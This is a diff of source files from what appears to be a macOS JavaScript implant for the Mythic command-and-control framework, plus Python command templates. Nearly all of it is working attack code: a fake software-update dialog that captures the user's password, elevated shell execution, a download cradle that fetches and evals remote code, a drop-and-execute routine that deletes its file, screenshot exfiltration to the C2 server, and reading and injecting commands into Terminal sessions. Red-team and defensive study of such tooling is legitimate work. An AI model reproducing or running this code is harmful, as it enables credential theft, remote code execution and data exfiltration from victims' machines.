if(plistPerms !== undefined){
|
||||
nsposix = plistPerms['NSFilePosixPermissions'].js;
|
||||
posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
|
||||
if(plistPerms['NSFileExtendedAttributes'] !== undefined){
|
||||
let extended = {};
|
||||
let perms = plistPerms['NSFileExtendedAttributes'].js;
|
||||
for(let j in perms){
|
||||
extended[j] = perms[j].base64EncodedStringWithOptions(0).js;
|
||||
}
|
||||
contents['PlistPermissionsExtendedAttributes'] = extended;
|
||||
}
|
||||
}
|
||||
// we need to fix this mess to actually be real permission bits that make sense
|
||||
contents['PlistPermissions'] = posix;
|
||||
output['systemLaunchAgents'][files[i]] = {};
|
||||
output["systemLaunchAgents"][files[i]]['contents'] = contents;
|
||||
if(contents !== undefined && contents.hasOwnProperty("ProgramArguments")){
|
||||
let attributes = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(contents['ProgramArguments'][0]), $()));
|
||||
if(attributes !== undefined){
|
||||
let trimmed_attributes = {};
|
||||
trimmed_attributes['NSFileOwnerAccountID'] = attributes['NSFileOwnerAccountID'];
|
||||
trimmed_attributes['NSFileExtensionHidden'] = attributes['NSFileExtensionHidden'];
|
||||
trimmed_attributes['NSFileGroupOwnerAccountID'] = attributes['NSFileGroupOwnerAccountID'];
|
||||
trimmed_attributes['NSFileOwnerAccountName'] = attributes['NSFileOwnerAccountName'];
|
||||
trimmed_attributes['NSFileCreationDate'] = attributes['NSFileCreationDate'];
|
||||
let nsposix = attributes['NSFilePosixPermissions'];
|
||||
// we need to fix this mess to actually be real permission bits that make sense
|
||||
trimmed_attributes['NSFilePosixPermissions'] = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();;
|
||||
trimmed_attributes['NSFileGroupOwnerAccountName'] = attributes['NSFileGroupOwnerAccountName'];
|
||||
trimmed_attributes['NSFileModificationDate'] = attributes['NSFileModificationDate'];
|
||||
output["systemLaunchAgents"][files[i]]['ProgramAttributes'] = trimmed_attributes;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output":"Error trying to read /Library/LaunchAgents: " + error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
}
|
||||
else if(config['type'] === "readLaunchDaemons"){
|
||||
let fileManager = $.NSFileManager.defaultManager;
|
||||
let path = "/Library/LaunchDaemons/";
|
||||
let error = Ref();
|
||||
output = {};
|
||||
let files = fileManager.contentsOfDirectoryAtPathError($(path), error);
|
||||
try{
|
||||
// no errors, so now iterate over the files
|
||||
files = ObjC.deepUnwrap(files);
|
||||
output["systemLaunchDaemons"] = {};
|
||||
for(let i in files){
|
||||
let prefs = $.NSMutableDictionary.alloc.initWithContentsOfFile(path + files[i]);
|
||||
let contents = ObjC.deepUnwrap(prefs);
|
||||
if(contents === undefined){ contents = {};}
|
||||
let plistPerms = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path + files[i]), $()));
|
||||
let nsposix = {};
|
||||
let posix = "";
|
||||
if(plistPerms !== undefined){
|
||||
nsposix = plistPerms['NSFilePosixPermissions'].js;
|
||||
posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
|
||||
if(plistPerms['NSFileExtendedAttributes'] !== undefined){
|
||||
let extended = {};
|
||||
let perms = plistPerms['NSFileExtendedAttributes'].js;
|
||||
for(let j in perms){
|
||||
extended[j] = perms[j].base64EncodedStringWithOptions(0).js;
|
||||
}
|
||||
contents['PlistPermissionsExtendedAttributes'] = extended;
|
||||
}
|
||||
}
|
||||
// we need to fix this mess to actually be real permission bits that make sense
|
||||
contents['PlistPermissions'] = posix;
|
||||
output['systemLaunchDaemons'][files[i]] = {};
|
||||
output["systemLaunchDaemons"][files[i]]['contents'] = contents;
|
||||
if(contents !== undefined && contents.hasOwnProperty('ProgramArguments')){
|
||||
let attributes = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(contents['ProgramArguments'][0]), $()));
|
||||
if(attributes !== undefined){
|
||||
let trimmed_attributes = {};
|
||||
trimmed_attributes['NSFileOwnerAccountID'] = attributes['NSFileOwnerAccountID'];
|
||||
trimmed_attributes['NSFileExtensionHidden'] = attributes['NSFileExtensionHidden'];
|
||||
trimmed_attributes['NSFileGroupOwnerAccountID'] = attributes['NSFileGroupOwnerAccountID'];
|
||||
trimmed_attributes['NSFileOwnerAccountName'] = attributes['NSFileOwnerAccountName'];
|
||||
trimmed_attributes['NSFileCreationDate'] = attributes['NSFileCreationDate'];
|
||||
nsposix = attributes['NSFilePosixPermissions'];
|
||||
// we need to fix this mess to actually be real permission bits that make sense
|
||||
posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
|
||||
trimmed_attributes['NSFilePosixPermissions'] = posix;
|
||||
trimmed_attributes['NSFileGroupOwnerAccountName'] = attributes['NSFileGroupOwnerAccountName'];
|
||||
trimmed_attributes['NSFileModificationDate'] = attributes['NSFileModificationDate'];
|
||||
output["systemLaunchDaemons"][files[i]]['ProgramAttributes'] = trimmed_attributes;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output":"Failed to read launch daemons: " + error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
}
|
||||
return {"user_output":JSON.stringify(output, null, 2), "completed": true};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
|
||||
@@ -1,29 +0,0 @@
|
||||
exports.prompt = function(task, command, params){
|
||||
if(params.length > 0){config = JSON.parse(params);}
|
||||
else{config = [];}
|
||||
let title = "Application Needs to Update";
|
||||
if(config.hasOwnProperty("title") && config['title'] !== ""){title = config['title'];}
|
||||
let icon = "/System/Library/PreferencePanes/SoftwareUpdate.prefPane/Contents/Resources/SoftwareUpdate.icns";
|
||||
if(config.hasOwnProperty("icon") && config['icon'] !== ""){icon = config['icon'];}
|
||||
let text = "An application needs permission to update";
|
||||
if(config.hasOwnProperty("text") && config['text'] !== ""){text = config['text'];}
|
||||
let answer = "";
|
||||
if(config.hasOwnProperty("answer") && config['answer'] !== "" && config["answer"] !== null){answer = config['answer'];}
|
||||
try{
|
||||
let cbID = currentApp.systemAttribute('__CFBundleIdentifier').toString()
|
||||
let contextApp = Application(cbID)
|
||||
contextApp.includeStandardAdditions = true;
|
||||
let prompt = contextApp.displayDialog(text, {
|
||||
defaultAnswer: answer,
|
||||
buttons: ['OK', 'Cancel'],
|
||||
defaultButton: 'OK',
|
||||
cancelButton: 'Cancel',
|
||||
withTitle: title,
|
||||
withIcon: Path(icon),
|
||||
hiddenAnswer: true
|
||||
});
|
||||
return {"user_output":prompt.textReturned, "completed": true};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,12 +0,0 @@
|
||||
exports.pwd = function(task, command, params){
|
||||
try{
|
||||
let fileManager = $.NSFileManager.defaultManager;
|
||||
let cwd = fileManager.currentDirectoryPath;
|
||||
if(cwd === undefined || cwd === ""){
|
||||
return {"user_output":"CWD is empty or undefined", "completed": true, "status": "error"};
|
||||
}
|
||||
return {"user_output":cwd.js, "completed": true};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,14 +0,0 @@
|
||||
exports.report_routes = function(task, command, params){
|
||||
let parameters = JSON.parse(params);
|
||||
let edges = [
|
||||
{
|
||||
"source": parameters['source'],
|
||||
"destination": parameters['destination'],
|
||||
"direction": parameters['direction'],
|
||||
"action": parameters['action'],
|
||||
"metadata": parameters['metadata']
|
||||
}
|
||||
];
|
||||
//C2.htmlPostData("api/v1.4/agent_message", data, apfell.id);
|
||||
return {"user_output": "Route submitted", "completed": true, "edges": edges};
|
||||
};
|
||||
@@ -1,15 +0,0 @@
|
||||
exports.rm = function(task, command, params){
|
||||
try{
|
||||
let command_params = JSON.parse(params);
|
||||
let path = command_params['path'];
|
||||
let fileManager = $.NSFileManager.defaultManager;
|
||||
if(path[0] === '"'){
|
||||
path = path.substring(1, path.length-1);
|
||||
}
|
||||
let error = Ref();
|
||||
fileManager.removeItemAtPathError($(path), error);
|
||||
return {"user_output":"Removed file", "completed": true, "removed_files": [{"path": path, "host": ""}]};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,33 +0,0 @@
|
||||
exports.run = function(task, command, params){
|
||||
//launch a program and args via ObjC bridge without doShellScript and return response
|
||||
let response = "";
|
||||
try{
|
||||
let pieces = JSON.parse(params);
|
||||
let path = pieces['path'];
|
||||
//console.log(path);
|
||||
let args = pieces['args'];
|
||||
let pipe = $.NSPipe.pipe;
|
||||
let file = pipe.fileHandleForReading; // NSFileHandle
|
||||
let task = $.NSTask.alloc.init;
|
||||
task.launchPath = path; //'/bin/ps'
|
||||
task.arguments = args; //['ax']
|
||||
task.standardOutput = pipe; // if not specified, literally writes to file handles 1 and 2
|
||||
task.standardError = pipe;
|
||||
//console.log("about to launch");
|
||||
task.launch; // Run the command 'ps ax'
|
||||
//console.log("launched");
|
||||
if(args[args.length - 1] !== "&"){
|
||||
//if we aren't tasking this to run in the background, then try to read the output from the program
|
||||
// this will hang our main program though for now
|
||||
let data = file.readDataToEndOfFile; // NSData, potential to hang here?
|
||||
file.closeFile;
|
||||
response = $.NSString.alloc.initWithDataEncoding(data, $.NSUTF8StringEncoding).js;
|
||||
}
|
||||
else{
|
||||
response = "launched program";
|
||||
}
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
return {"user_output":response, "completed": true};
|
||||
};
|
||||
@@ -1,45 +0,0 @@
|
||||
exports.screenshot = function(task, command, params){
|
||||
try{
|
||||
ObjC.import('Cocoa');
|
||||
ObjC.import('AppKit');
|
||||
let cgimage = $.CGDisplayCreateImage($.CGMainDisplayID());
|
||||
if(cgimage.js === undefined) {
|
||||
cgimage = $.CFMakeCollectable(cgimage); // in case 10.15 is messing with the types again
|
||||
}
|
||||
if(cgimage.js === undefined){
|
||||
return {"user_output":"Failed to get image from display", "completed": true, "status": "error"};
|
||||
}
|
||||
let bitmapimagerep = $.NSBitmapImageRep.alloc.initWithCGImage(cgimage);
|
||||
let capture = bitmapimagerep.representationUsingTypeProperties($.NSBitmapImageFileTypePNG, Ref());
|
||||
let offset = 0;
|
||||
let chunkSize = 350000;
|
||||
let fileSize = parseInt(capture.length);
|
||||
// always round up to account for chunks that are < chunksize;
|
||||
let numOfChunks = Math.ceil(fileSize / chunkSize);
|
||||
let registerData = {'total_chunks': numOfChunks, 'task': task.id, "is_screenshot": true};
|
||||
let registerFile = C2.postResponse(task, registerData);
|
||||
if (registerFile['responses'][0]['status'] === "success"){
|
||||
let currentChunk = 1;
|
||||
let csize = capture.length - offset > chunkSize ? chunkSize : capture.length - offset;
|
||||
let data = capture.subdataWithRange($.NSMakeRange(offset, csize));
|
||||
while(parseInt(data.length) > 0 && offset < fileSize){
|
||||
// send a chunk
|
||||
let fileData = {'chunk_num': currentChunk, 'chunk_data': data.base64EncodedStringWithOptions(0).js, 'task': task.id, 'file_id': registerFile['responses'][0]['file_id']};
|
||||
C2.postResponse(task, fileData);
|
||||
$.NSThread.sleepForTimeInterval(C2.gen_sleep_time());
|
||||
|
||||
// increment the offset and seek to the amount of data read from the file
|
||||
offset = offset + parseInt(data.length);
|
||||
csize = capture.length - offset > chunkSize ? chunkSize : capture.length - offset;
|
||||
data = capture.subdataWithRange($.NSMakeRange(offset, csize));
|
||||
currentChunk += 1;
|
||||
}
|
||||
return {"user_output":JSON.stringify({"file_id": registerFile['responses'][0]['file_id']}), "completed": true};
|
||||
}
|
||||
else{
|
||||
return {"user_output":"Failed to register file to download", "completed": true, "status": "error"};
|
||||
}
|
||||
}catch(error){
|
||||
return {"user_output":"Failed to get a screencapture: " + error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,14 +0,0 @@
|
||||
exports.security_info = function(task, command, params){
|
||||
try{
|
||||
let secObj = Application("System Events").securityPreferences();
|
||||
let info = "automaticLogin: " + secObj.automaticLogin() +
|
||||
"\nlogOutWhenInactive: " + secObj.logOutWhenInactive() +
|
||||
"\nlogOutWhenInactiveInterval: " + secObj.logOutWhenInactiveInterval() +
|
||||
"\nrequirePasswordToUnlock: " + secObj.requirePasswordToUnlock() +
|
||||
"\nrequirePasswordToWake: " + secObj.requirePasswordToWake();
|
||||
//"\nsecureVirtualMemory: " + secObj.secureVirtualMemory(); //might need to be in an elevated context
|
||||
return {"user_output":info, "completed": true};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,25 +0,0 @@
|
||||
exports.shell = function(task, command, params){
|
||||
//simply run a shell command via doShellScript and return the response
|
||||
let response = "";
|
||||
try{
|
||||
let command_params = JSON.parse(params);
|
||||
let command = command_params['command'];
|
||||
if(command[command.length-1] === "&"){
|
||||
//doShellScript actually does macOS' /bin/sh which is actually bash emulating sh
|
||||
// so to actually background a task, you need "&> /dev/null &" at the end
|
||||
// so I'll just automatically fix this so it's not weird for the operator
|
||||
command = command + "> /dev/null &";
|
||||
}
|
||||
response = currentApp.doShellScript(command);
|
||||
if(response === undefined || response === ""){
|
||||
response = "No Command Output";
|
||||
}
|
||||
// shell output uses \r instead of \n or \r\n to line endings, fix this nonsense
|
||||
response = response.replace(/\r/g, "\n");
|
||||
return {"user_output":response, "completed": true};
|
||||
}
|
||||
catch(error){
|
||||
response = error.toString().replace(/\r/g, "\n");
|
||||
return {"user_output":response, "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,55 +0,0 @@
|
||||
exports.shell_elevated = function(task, command, params){
|
||||
try{
|
||||
let response = "";
|
||||
let pieces = [];
|
||||
let cmd = "";
|
||||
if(params.length > 0){ pieces = JSON.parse(params); }
|
||||
else{ pieces = []; }
|
||||
if(pieces.hasOwnProperty('command') && pieces['command'] !== ""){
|
||||
if(pieces['command'][command.length -1] === "&"){
|
||||
cmd = pieces['command'] + "> /dev/null &";
|
||||
}else{
|
||||
cmd = pieces['command'];
|
||||
}
|
||||
}
|
||||
else{
|
||||
return {"user_output": "missing command", "completed": true, "status": "error"};
|
||||
}
|
||||
let use_creds = false;
|
||||
let prompt = "An application needs permission to update";
|
||||
if(pieces.hasOwnProperty('prompt') && pieces['prompt'] !== ""){
|
||||
prompt = pieces['prompt'];
|
||||
use_creds = false;
|
||||
}else{
|
||||
use_creds = true;
|
||||
}
|
||||
if(!use_creds) {
|
||||
try {
|
||||
response = currentApp.doShellScript(cmd, {administratorPrivileges: true, withPrompt: prompt});
|
||||
} catch (error) {
|
||||
// shell output uses \r instead of \n or \r\n to line endings, fix this nonsense
|
||||
response = error.toString().replace(/\r/g, "\n");
|
||||
return {"user_output": response, "completed": true, "status": "error"};
|
||||
}
|
||||
}
|
||||
else{
|
||||
let userName = apfell.user;
|
||||
let password = "";
|
||||
if(pieces.hasOwnProperty('user') && pieces['user'] !== ""){ userName = pieces['user']; }
|
||||
if(pieces.hasOwnProperty('credential')){ password = pieces['credential']; }
|
||||
try{
|
||||
response = currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:userName, password:password});
|
||||
}
|
||||
catch(error){
|
||||
// shell output uses \r instead of \n or \r\n to line endings, fix this nonsense
|
||||
response = error.toString().replace(/\r/g, "\n");
|
||||
return {"user_output":response, "completed": true, "status": "error"};
|
||||
}
|
||||
}
|
||||
// shell output uses \r instead of \n or \r\n to line endings, fix this nonsense
|
||||
response = response.replace(/\r/g, "\n");
|
||||
return {"user_output":response, "completed": true};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,16 +0,0 @@
|
||||
exports.sleep = function(task, command, params){
|
||||
try{
|
||||
let command_params = JSON.parse(params);
|
||||
if(command_params.hasOwnProperty('interval') && command_params["interval"] !== null && command_params['interval'] >= 0){
|
||||
C2.interval = command_params['interval'];
|
||||
}
|
||||
if(command_params.hasOwnProperty('jitter') && command_params["jitter"] !== null && command_params['jitter'] >= 0 && command_params['jitter'] <= 100){
|
||||
C2.jitter = command_params['jitter'];
|
||||
}
|
||||
let sleep_response = "Sleep interval updated to " + C2.interval + " and sleep jitter updated to " + C2.jitter;
|
||||
return {"user_output":sleep_response, "completed": true, "process_response": sleep_response};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
|
||||
@@ -1,29 +0,0 @@
|
||||
exports.spawn_download_cradle = function(task, command, params){
|
||||
try{
|
||||
let config = JSON.parse(params);
|
||||
if(!config.hasOwnProperty('url')){return {"user_output": "missing url parameter: 'a URL address where the jxa code is hosted'", "completed": true, "status": "error"};}
|
||||
let full_url = config['url'];
|
||||
let path = "/usr/bin/osascript";
|
||||
let args = ['-l','JavaScript','-e'];
|
||||
let command = "eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString(";
|
||||
command = command + "'" + full_url + "')),$.NSUTF8StringEncoding)));";
|
||||
args.push(command);
|
||||
args.push("&");
|
||||
try{
|
||||
let pipe = $.NSPipe.pipe;
|
||||
let file = pipe.fileHandleForReading; // NSFileHandle
|
||||
let task = $.NSTask.alloc.init;
|
||||
task.launchPath = path;
|
||||
task.arguments = args;
|
||||
task.standardOutput = pipe;
|
||||
task.standardError = pipe;
|
||||
task.launch;
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
return {"user_output":"Process spawned", "completed": true};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,39 +0,0 @@
|
||||
exports.spawn_drop_and_execute = function(task, command, params){
|
||||
let artifacts = [];
|
||||
try{
|
||||
let config = JSON.parse(params);
|
||||
//full_url = C2.baseurl + "api/v1.0/payloads/get/" + split_params[3];
|
||||
let m = [...Array(Number(10))].map(i=>(~~(Math.random()*36)).toString(36)).join('');
|
||||
let temp_file = "/tmp/" + m;
|
||||
let file = C2.upload(task, config['template'], temp_file);
|
||||
|
||||
let path = "/usr/bin/osascript";
|
||||
let result = write_data_to_file(file, temp_file);
|
||||
if(result !== "file written"){return {"user_output": result, "completed": true, "status": 'error'};}
|
||||
else{artifacts.push({"base_artifact": "File Create", "artifact": temp_file});}
|
||||
let args = ['-l','JavaScript', temp_file, '&'];
|
||||
try{
|
||||
let pipe = $.NSPipe.pipe;
|
||||
let file = pipe.fileHandleForReading; // NSFileHandle
|
||||
let task = $.NSTask.alloc.init;
|
||||
task.launchPath = path;
|
||||
task.arguments = args;
|
||||
task.standardOutput = pipe;
|
||||
task.standardError = pipe;
|
||||
task.launch;
|
||||
artifacts.push({"base_artifact": "Process Create", "artifact": "/usr/bin/osascript " + args.join(" ")});
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error", "artifacts": artifacts};
|
||||
}
|
||||
//give the system time to actually execute the file before we delete it
|
||||
$.NSThread.sleepForTimeInterval(3);
|
||||
let fileManager = $.NSFileManager.defaultManager;
|
||||
fileManager.removeItemAtPathError($(temp_file), $());
|
||||
return {"user_output": "Created temp file: " + temp_file + ", started process and removed file", "completed": true, "artifacts": artifacts};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error", "artifacts": artifacts};
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
@@ -1,7 +0,0 @@
|
||||
exports.system_info = function(task, command, params){
|
||||
try{
|
||||
return {"user_output":JSON.stringify(currentApp.systemInfo(), null, 2), "completed": true};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,54 +0,0 @@
|
||||
exports.terminals_read = function(task, command, params){
|
||||
let split_params = {};
|
||||
try{
|
||||
split_params = JSON.parse(params);
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
let all_data = {};
|
||||
try{
|
||||
let term = Application("Terminal");
|
||||
if(term.running()){
|
||||
let windows = term.windows;
|
||||
for(let i = 0; i < windows.length; i++){
|
||||
let win_info = {
|
||||
"Name": windows[i].name(),
|
||||
"Visible": windows[i].visible(),
|
||||
"Frontmost": windows[i].frontmost(),
|
||||
"tabs": []
|
||||
};
|
||||
let all_tabs = [];
|
||||
// store the windows information in id_win in all_data
|
||||
all_data["window_" + i] = win_info;
|
||||
for(let j = 0; j < windows[i].tabs.length; j++){
|
||||
let tab_info = {
|
||||
"tab": j,
|
||||
"Busy": windows[i].tabs[j].busy(),
|
||||
"Processes": windows[i].tabs[j].processes(),
|
||||
"Selected": windows[i].tabs[j].selected(),
|
||||
"TTY": windows[i].tabs[j].tty()
|
||||
};
|
||||
if(windows[i].tabs[j].titleDisplaysCustomTitle()){
|
||||
tab_info["CustomTitle"] = windows[i].tabs[j].customTitle();
|
||||
}
|
||||
if(split_params['level'] === 'history'){
|
||||
tab_info["History"] = windows[i].tabs[j].history();
|
||||
}
|
||||
if(split_params['level'] === 'contents'){
|
||||
tab_info["Contents"] = windows[i].tabs[j].contents();
|
||||
}
|
||||
all_tabs.push(tab_info);
|
||||
}
|
||||
// store all of the tab information corresponding to that window id at id_tabs
|
||||
win_info['tabs'] = all_tabs;
|
||||
}
|
||||
}else{
|
||||
return {"user_output":"Terminal is not running", "completed": true, "status": "error"};
|
||||
}
|
||||
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
let output = JSON.stringify(all_data, null, 2);
|
||||
return {"user_output":output, "completed": true};
|
||||
};
|
||||
@@ -1,25 +0,0 @@
|
||||
exports.terminals_send = function(task, command, params){
|
||||
let split_params = {"window": 0, "tab": 0, "command": ""};
|
||||
try{
|
||||
split_params = Object.assign({}, split_params, JSON.parse(params));
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
let output = "No Command Output";
|
||||
try{
|
||||
let term = Application("Terminal");
|
||||
if(term.running()){
|
||||
let window = split_params['window'];
|
||||
let tab = split_params['tab'];
|
||||
let cmd = split_params['command'];
|
||||
term.doScript(cmd, {in:term.windows[window].tabs[tab]});
|
||||
output = term.windows[window].tabs[tab].contents();
|
||||
}else{
|
||||
return {"user_output":"Terminal is not running", "completed": true, "status": "error"};
|
||||
}
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
return {"user_output":output, "completed": true};
|
||||
};
|
||||
@@ -1,31 +0,0 @@
|
||||
exports.test_password = function(task, command, params){
|
||||
ObjC.import("OpenDirectory");
|
||||
let session = $.ODSession.defaultSession;
|
||||
let sessionType = 0x2201 // $.kODNodeTypeAuthentication
|
||||
let recType = $.kODRecordTypeUsers
|
||||
let node = $.ODNode.nodeWithSessionTypeError(session, sessionType, $());
|
||||
let username = apfell.user;
|
||||
let password = "";
|
||||
if(params.length > 0){
|
||||
let data = JSON.parse(params);
|
||||
if(data.hasOwnProperty('username') && data['username'] !== ""){
|
||||
username = data['username'];
|
||||
}
|
||||
if(data.hasOwnProperty('password') && data['password'] !== ""){
|
||||
password = data['password'];
|
||||
}
|
||||
// if no password is supplied, try an empty password
|
||||
}
|
||||
let user = node.recordWithRecordTypeNameAttributesError(recType,$(username), $(), $())
|
||||
if(user.js !== undefined){
|
||||
if(user.verifyPasswordError($(password),$())){
|
||||
return {"user_output":"Successful authentication", "completed": true};
|
||||
}
|
||||
else{
|
||||
return {"user_output":"Failed authentication", "completed": true};
|
||||
}
|
||||
}
|
||||
else{
|
||||
return {"user_output":"User does not exist", "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,32 +0,0 @@
|
||||
exports.upload = function(task, command, params){
|
||||
try{
|
||||
let config = JSON.parse(params);
|
||||
let full_path = config['remote_path'];
|
||||
let data = "Can't find 'file' or 'file_id' with non-blank values";
|
||||
let file_id = "";
|
||||
if(config.hasOwnProperty('file') && config['file'] !== ""){
|
||||
data = C2.upload(task, config['file'], "");
|
||||
file_id = config['file']
|
||||
}
|
||||
if(typeof data === "string"){
|
||||
return {"user_output":String(data), "completed": true, "status": "error"};
|
||||
}
|
||||
else{
|
||||
data = write_data_to_file(data, full_path);
|
||||
try{
|
||||
let fm = $.NSFileManager.defaultManager;
|
||||
let pieces = ObjC.deepUnwrap(fm.componentsToDisplayForPath(full_path));
|
||||
if(pieces === undefined){
|
||||
return {'status': 'error', 'user_output': String(data), 'completed': true};
|
||||
}
|
||||
full_path = "/" + pieces.slice(1).join("/");
|
||||
}catch(error){
|
||||
return {'status': 'error', 'user_output': error.toString(), 'completed': true};
|
||||
}
|
||||
return {"user_output":String(data), "completed": true, 'full_path': full_path, "file_id": file_id,
|
||||
"artifacts": [{"base_artifact": "File Create", "artifact": full_path}]};
|
||||
}
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
Whitespace-only changes.
@@ -1,33 +0,0 @@
|
||||
from mythic_payloadtype_container.PayloadBuilder import *
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
from mythic_payloadtype_container.MythicRPC import *
|
||||
import sys
|
||||
import json
|
||||
|
||||
#define your payload type class here, it must extend the PayloadType class though
|
||||
class MyAgent(PayloadType):
|
||||
|
||||
name = "my_agent" # name that would show up in the UI
|
||||
file_extension = "exe" # default file extension to use when creating payloads
|
||||
author = "@YourHandleHere" # author of the payload type
|
||||
supported_os = [ # supported OS and architecture combos
|
||||
SupportedOS.Windows, SupportedOS.Linux # update this list with all the OSes your agent supports
|
||||
]
|
||||
wrapper = False # does this payload type act as a wrapper for another payloads inside of it?
|
||||
# if the payload supports any wrapper payloads, list those here
|
||||
wrapped_payloads = [] # ex: "service_wrapper"
|
||||
note = "Any note you want to show up about your payload type in the UI"
|
||||
supports_dynamic_loading = False # setting this to True allows users to only select a subset of commands when generating a payload
|
||||
build_parameters = [
|
||||
# these are all the build parameters that will be presented to the user when creating your payload
|
||||
# we'll leave this blank for now
|
||||
]
|
||||
# the names of the c2 profiles that your agent supports
|
||||
c2_profiles = ["http"]
|
||||
# after your class has been instantiated by the mythic_service in this docker container and all required build parameters have values
|
||||
# then this function is called to actually build the payload
|
||||
async def build(self) -> BuildResponse:
|
||||
# this function gets called to create an instance of your payload
|
||||
resp = BuildResponse(status=BuildStatus.Success)
|
||||
resp.payload = b""
|
||||
return resp
|
||||
@@ -1,48 +0,0 @@
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
import json
|
||||
from mythic_payloadtype_container.MythicRPC import *
|
||||
|
||||
|
||||
class CatArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="path",
|
||||
type=ParameterType.String,
|
||||
description="path to file (no quotes required)",
|
||||
parameter_group_info=[ParameterGroupInfo()]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply a path to a file")
|
||||
self.add_arg("path", self.command_line)
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
if "path" in dictionary_arguments:
|
||||
self.add_arg("path", dictionary_arguments["path"])
|
||||
else:
|
||||
raise ValueError("Missing 'path' argument")
|
||||
|
||||
|
||||
class CatCommand(CommandBase):
|
||||
cmd = "cat"
|
||||
needs_admin = False
|
||||
help_cmd = "cat /path/to/file"
|
||||
description = "Read the contents of a file and display it to the user. No need for quotes and relative paths are fine"
|
||||
version = 1
|
||||
author = "@its_a_feature_"
|
||||
argument_class = CatArguments
|
||||
attackmapping = ["T1005", "T1552.001"]
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
resp = await MythicRPC().execute("create_artifact", task_id=task.id,
|
||||
artifact="$.NSString.stringWithContentsOfFileEncodingError",
|
||||
artifact_type="API Called",
|
||||
)
|
||||
return task
|
||||
|
||||
async def process_response(self, response: AgentResponse):
|
||||
pass
|
||||
@@ -1,51 +0,0 @@
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
import json
|
||||
from mythic_payloadtype_container.MythicRPC import *
|
||||
|
||||
|
||||
class DownloadArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = []
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) > 0:
|
||||
if self.command_line[0] == "{":
|
||||
temp_json = json.loads(self.command_line)
|
||||
if "host" in temp_json:
|
||||
# this means we have tasking from the file browser rather than the popup UI
|
||||
# the apfell agent doesn't currently have the ability to do _remote_ listings, so we ignore it
|
||||
self.command_line = temp_json["path"] + "/" + temp_json["file"]
|
||||
else:
|
||||
raise Exception("Unsupported JSON")
|
||||
else:
|
||||
raise Exception("Must provide a path to download")
|
||||
|
||||
|
||||
class DownloadCommand(CommandBase):
|
||||
cmd = "download"
|
||||
needs_admin = False
|
||||
help_cmd = "download {path to remote file}"
|
||||
